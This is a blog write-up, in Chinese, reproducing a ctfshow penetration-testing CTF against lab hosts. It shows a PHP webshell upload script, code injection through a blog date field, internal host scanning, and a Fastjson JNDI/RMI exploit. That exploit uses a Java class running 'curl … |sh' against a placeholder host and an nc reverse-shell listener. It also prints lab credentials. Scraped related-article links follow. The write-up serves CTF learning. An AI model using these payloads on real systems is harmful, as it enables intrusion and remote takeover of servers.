RealWorldCTF渗透赛第二期复现-ctfshow
比赛概述
- 开始时间:2023年3月10日15时
- 环境保留时间:72小时
- 环境重置时间:20分钟
官方wp链接:Docs (feishu.cn)
【本次复现跟着官方WP进行,只做记录学习之用】
0x1 目标资产
场景1
0x1 信息收集
在页面最下方有查看帮助链接
找到应用信息
github直接搜名字Anonymous-Chat-Room,得到源码
0x2 审计源码
在Anonymous-Chat-Room/client/photo_upload.php 页面中
直接任意文件上传漏洞了
0x3 getshell
1.txt内容为一句话木马<?php eval($_GET[1]);?>
import requests
url ="https://i.am.ctfer.com/photo_upload.php"
files = {'file': ('1.php', open('1.txt', 'rb'), 'image/gif', {'Expires': '0'})}
response = requests.post(url=url,files=files)
print(response.text)
https://i.am.ctfer.com/images/photo/640c9b28587aa1.php?1=phpinfo();
成功getshell
0x4 敏感信息
继续收集信息,蚁剑连接后,找到信息泄露点【换成post 方式的马连,GET连接失败】
session_start();
if (isset($_SESSION['login']) && $_SESSION['login'] == 1){
header("Location: admin.php");
}
if (isset($_POST['username'])){
if ($_POST['username'] == 'hacker_ctfshow@163.com' && $_POST['password'] == 'Hacker_ctfsh0w'){
$_SESSION['login'] = 1;
header("Location: admin.php");
}else{
header("Location: login.php");
}
}
得到管理员账户密码
hacker_ctfshow@163.com/Hacker_ctfsh0w
登录后台。
没啥好利用的!
场景2
0x1 信息收集
使用得到的用户名密码,登陆163邮箱,发现敏感信息
0x2 加密邮件破解
邮件密码弱口令爆破:知道密码是123456,得到邮件正文敏感信息
亲爱的hacker同学:
欢迎你加入ctfshow,很荣幸的通知你,你已经通过了ctfshow的考核,正式成为我们的一员了!
以下是你需要的授权信息:
开发地址:https://open.ctfer.com
登陆key :49bcab511556f63ea50d2197
请继续完成你的开发任务,对应的测试版,已经部署在
https://blog.ctfer.com
CTFshow大菜鸡
场景3
0x1 信息收集
开发地址:https://open.ctfer.com
登陆key :49bcab511556f63ea50d2197
登陆后,发现xblog应用源码
0x2 getshell
利用vscode的终端功能,直接getshell
成功拿下第二台服务器
同时,因为已经是root 权限。直接在./c/ 创建文件,写入一句话木马。
发现c 目录下,root 权限也无法进行写操作!【显然有问题了】
修改文件也不可以!
根据上面的报错,查阅资料可以知道。
1.如果有root权限,可以输入 :wq!强行保存退出。
2.第二种方法:
(1)按ESC
(2)输入 :set noreadonly
(3)输入 :wq就可保存退出
成功修改!
开发地址:https://open.ctfer.com
登陆key :49bcab511556f63ea50d2197
请继续完成你的开发任务,对应的测试版,已经部署在
https://blog.ctfer.com
回看邮件中的信息,发现一个误区。在开发环境中已经是root权限了!上传一句话木马没啥用处!应该进行源码审计,发现其中漏洞!去部署环境中进行提权,getshell!
【显然,上面的代码无论如何修改,但是没有部署到环境中!都是无益的】
0x3 审计源码
在/c/t.php
中,存在上传漏洞,可以写马
arsort($in);
$inn = $inn + 1;
file_put_contents('./../p/index.php', '<?php $inn=' . $inn . ';$in=' . var_export($in, true) . ';$tp=\'' . $tp . '\';$tagi=' . var_export($tagi, true) . ';?>');
if (valid_date($datestr)) {
$fstr = '<?php $ptitle="' . $t . '";$pcontent=\'' . addslashes(htmlspecialchars($c)) . '\';$pdat="' . $d . '";$tag="' . $a . '";$ptype="post";?>';
} else {
$fstr = '<?php $ptitle="' . $t . '";$pcontent=\'' . addslashes(htmlspecialchars($c)) . '\';$pdat="' . $d . '";$tag="' . $a . '";$ptype="page";?>';
}
file_put_contents('./../p/' . ($inn - 1) . '.php', $fstr);
changed();
$result['pid'] = ($inn - 1);
这里的$d
存在逻辑问题,没有过滤带入了php文件
根据邮件信息,进入场景4,实现漏洞利用
场景4
0x1 getshell
根据邮件信息和审计出的漏洞,开始getshell,必须先登陆/a/
,获取到session
# -*- coding: utf-8 -*-
import requests
url = "https://blog.ctfer.com/c/t.php"
cookie={
"PHPSESSID":"8195abb8fd5e540b0217ecfba6a0a79a"
}
data={
"dat":'";eval($_POST[1]);?>',
"title":"1",
"content":"%20",
}
response = requests.post(url=url+"?type=submit",data=data,cookies=cookie)
print(response.text)
回显得到文件名
{"result":"ok","pid":2}
木马地址为/p/2.php
蚁剑成功连接
0x2 内网扫描
得到当前IP 192.168.102.3
(www-data:/var/www/html/p) $ ip addr show
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
1035: eth0@if1036: <BROADCAST,MULTICAST,UP,LOWER_UP,M-DOWN> mtu 1500 qdisc noqueue state UP
link/ether 02:42:c0:a8:66:03 brd ff:ff:ff:ff:ff:ff
inet 192.168.102.3/24 brd 192.168.102.255 scope global eth0
valid_lft forever preferred_lft forever
扫描当前网段存活主机
nmap -sP 192.168.101.0/24 > 1.txt # 不可用
# shell 脚本!
#!/bin/bash
#测试局域网中的存活主机
for i in {1..254}
do
ping -c 1 192.168.102.$i &>/dev/null && echo 192.168.102.$i is alive &
done
无法执行.sh 【很奇怪,虽然当前是 www-data 低权限用户,但是修改了文件权限,按理说.sh是可执行的】
手动寻找网段存活主机,192.168.101.2
扫描192.168.101.2开放端口
curl http://192.168.102.2:80
curl http://192.168.102.2:22
curl http://192.168.102.2:53
curl http://192.168.102.2:21
curl http://192.168.102.2:8090
curl http://192.168.102.2:8080
curl http://192.168.102.2:3306
知道存在8090端口开发的fastjson漏洞
(191条消息) FastJson 反序列化漏洞原理分析_fastjson漏洞原理_Buffedon的博客-CSDN博客
(191条消息) Fastjson反序列化漏洞原理分析及复现_fastjson的反序列化和普通反序列化漏洞的区别是什么_Iwanturoot的博客-CSDN博客
浅析FastJSON反序列化漏洞(1.2.24——1.2.68) - 腾讯云开发者社区-腾讯云 (tencent.com)
【Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象。】
0x3 横向渗透
使用fastjson漏洞来实现rce
整个攻击流程如下:
1. 我们在本地机器编写一个攻击类,并且得到它的class字节码文件M。
2. 通过自定义payload(请求报文),给目标环境A发送攻击请求。
3. 目标环境A对报文中的json数据进行反序列化,触发漏洞,通过RMI服务,造成目标环境A访问远程rmi服务器(rmi://127.0.0.1:1099/Exploit)。
4. 目标机器A加载攻击类M字节码,被攻击,完成rce。
首先生成恶意class,完成反弹shell任务
import java.lang.Runtime;
import java.lang.Process;
public class ctfshow {
public static void main(String[] args) {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/bash","-c","curl https://xx.xx.xx.xx:9999 |sh"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
}
或者
public class ctfshow {
public static void ctfshow() {
// static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = { "/bin/bash", "-c", "curl https://xx.xx.xx.xx:9999 |sh" };
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
// }
}
public static void main(String[] args) {
}
}
挂载恶意class
python -m http.server 8888
开启RMI服务(Java远程方法调用),启动监听
【 启动marshalsec工具,搭建RMI环境】
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://xx.xx.xx.xx:8888/#ctfshow" 3389
监听反弹
nc -lvvnp 9999
x.json文件
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://xx.xx.xx.xx:3389/ctfshow",
"autoCommit":true
}
}
a.sh文件
curl -X POST -H 'content-type:application/json' http://192.168.102.2:8090/ -d @x.json
使用curl发送json包
nc 成功,获得反弹shell
【这里复现的时候,没有成功反弹shell】
【猜测原因:开启RMI服务时,使用的marshalsec-0.0.3-SNAPSHOT-all.jar不正确,导致写的攻击脚本没利用上】
总结
0x1 资产统计
序号 | 资产类型 | 域名 | 内网IP | 权限 | 应用 |
---|---|---|---|---|---|
1 | Linux | i.am.ctfer.com | 172.17.0.2/16 | www-data | 匿名聊天应用 |
2 | 敏感信息 | mail.163.com | / | 普通权限 | 可收发邮件 |
3 | Linux | open.ctfer.com | / | root | 开发环境 |
4 | Linux | blog.ctfer.com | 192.168.102.3 | www-data | 开发版blog应用 |
5 | Linux | / | 192.168.102.2 | root | fastjson |
本次渗透环境共计5个场景,4台服务器,涉及4个域名
0x2 网络拓扑
致谢
平台:CTFshow
情景设计:大菜鸡
代码编写:大菜鸡
环境测试:大菜鸡/g4
感谢ctfshow 和大菜鸡师傅给我带来了一次愉悦的参赛体验!并附上ctf.show
RealWorldCTF渗透赛第二期复现-ctfshow的更多相关文章
- Kali Linux Web 渗透测试— 第二十课-metasploit.meterpreter
Kali Linux Web 渗透测试— 第二十课-metasploit.meterpreter 原文链接:http://www.xuanhun521.com/Blog/7fc11b7a-b6cb-4 ...
- 智能生活 科技无限 CTO VOICE 第二期 智能硬件创新创业专场演讲嘉宾招募
生活不只有诗和远方,还有当下的痛点和需求 当可穿戴设备.虚拟现实.无人机.机器人进入人们视线甚至生活当中 下一个风口就在智能硬件领域上凸显 那么,创业者如何撕掉智能外衣,设计一款有竞争力的智能硬件? ...
- 寻找大学目标及行动步骤——记ITAEM团队第二期宣讲会(2014.05.14)
·昨晚8:00-9:40.在 钟海楼03029 ,进行了ITAEM团队第二期宣讲会(第一期见第一期宣讲会总结).来參加的主要是大一学生.以信院为主.也有法学院.文学院的同学. 在宣讲会中,大家都比較积 ...
- Contest1592 - 2018-2019赛季多校联合新生训练赛第二场(部分题解)
Contest1592 - 2018-2019赛季多校联合新生训练赛第二场 D 10248 修建高楼(模拟优化) H 10252 组装玩具(贪心+二分) D 传送门 题干 题目描述 C 市有一条东西走 ...
- 下载频道--IT资源关东煮第二期[申明:来源于网络]
下载频道–IT资源关东煮第二期[申明:来源于网络] 地址:http://geek.csdn.net/news/detail/129509?ref=myread
- 《Linux就该这么学》第二期视频
Linux就该这么学--第二期学习笔记... ------------- 你的未来取决于你现在点点滴滴的努力 需要用到的一些工具: Vm11激活码 ---------- root在Linux系统中相当 ...
- 【sky第二期--PID算法】--【智能车论坛】
[sky第二期--PID算法] 想学PID的可以来[智能车论坛]这里有我发布的资料http://bbs.tekbots.eefocus.com/forum.php?mod=viewthread& ...
- NOI.AC NOIP模拟赛 第二场 补记
NOI.AC NOIP模拟赛 第二场 补记 palindrome 题目大意: 同[CEOI2017]Palindromic Partitions string 同[TC11326]Impossible ...
- 网易云社区有奖问答活动第二期——技术领导力、深入分布式、PHP圣经、Linux运维、Unity……三月热点图书等你拿!
网易云社区第二期有奖问答活动开始了!(第一期活动已结束:人工智能图书大抽奖!) 欢迎积极参与网易云社区,讨论问题,交流心得.我们本期准备了一批技术领域热点图书,送给参与社区的朋友们,将以抽奖的形式送出 ...
- JEECG第二期深入使用培训(报名截止2014-06-21)
JEECG第二期深入使用培训(报名截止2014-06-21) JEECG深度研究-交流碰撞火花,你学会的不不过JEECG,很多其它的是软件架构思想 http://www.jeecg.org/forum ...
随机推荐
- vue 的生命周期
生命周期就是 vue 从开始创建到销毁的过程,分为四大步(创建,挂载, 更新,销毁),每一步又分为两小步,如 beforeCreate,created.beforeCreate 前,也就是 new V ...
- JS篇(001)-document load 和 document ready 的区别
答案: 页面加载完成有两种事件 1.load是当页面所有资源全部加载完成后(包括DOM文档树,css文件,js文件,图片资源等),执行一个函数 问题:如果图片资源较多,加载时间较长,onload后等待 ...
- HCIA-ICT实战基础08-访问控制列表ACL原理与配置
HCIA-ICT实战基础-访问控制列表ACL原理与配置 目录 ACL技术概述 ACL的基本概念及其工作原理 ACL的基础配置及应用 ACL技术概述 技术背景: 需要一个工具实现流量过滤 ACL是由一系 ...
- YML Exception 以及 java.nio.charset.MalformedInputException: Input length = 1
在springboot项目中,第一次遇到的问题是 YML Exception java.nio.charset.MalformedInputException: Input length = 1 ,此 ...
- 【STM32】TIM定时器
TIM定时器(TIM3为例) 初始化: A:结构体TIM_HandleTypeDef的成员: 1.*Instance:类型为TIM_TypeDef,即对TIM的寄存器的映射,通过这个成员可以操作寄存器 ...
- Day09-参数+递归
参数+递归 一.命令行传参 有时候你希望运行一个程序时候再传递给它消息.这要靠传递命令行参数给main()函数实现 public class CommandLine{ public static vo ...
- SQLite 帮助类
public static class SqliteHelper { /// <summary> /// 获得连接对象 /// </summary> /// <retur ...
- uni-app微信小程序文本框计数功能
<view> <textarea placeholder="请输入" @input="sumfontnum" :maxlength=" ...
- 在LaTeX中使用BibTeX时的一个问题及其解决:编译PDF不随bib文件更新
问题:更新bib文件之后,编译tex文件输出的PDF文件没有相应的更新. 原理: bbl文件才是引文的信息,bib文件只是用于生成bbl文件的一个"数据集"而已. 一般来说,LaT ...
- Crypto入门 (九) easy_RSA
前言: 建议看这篇随笔之前先看入门(8)数论基础,简单学习下,有利于你看懂后面得算法原理,链接给出:https://www.cnblogs.com/yuanchu/p/13494104.html ea ...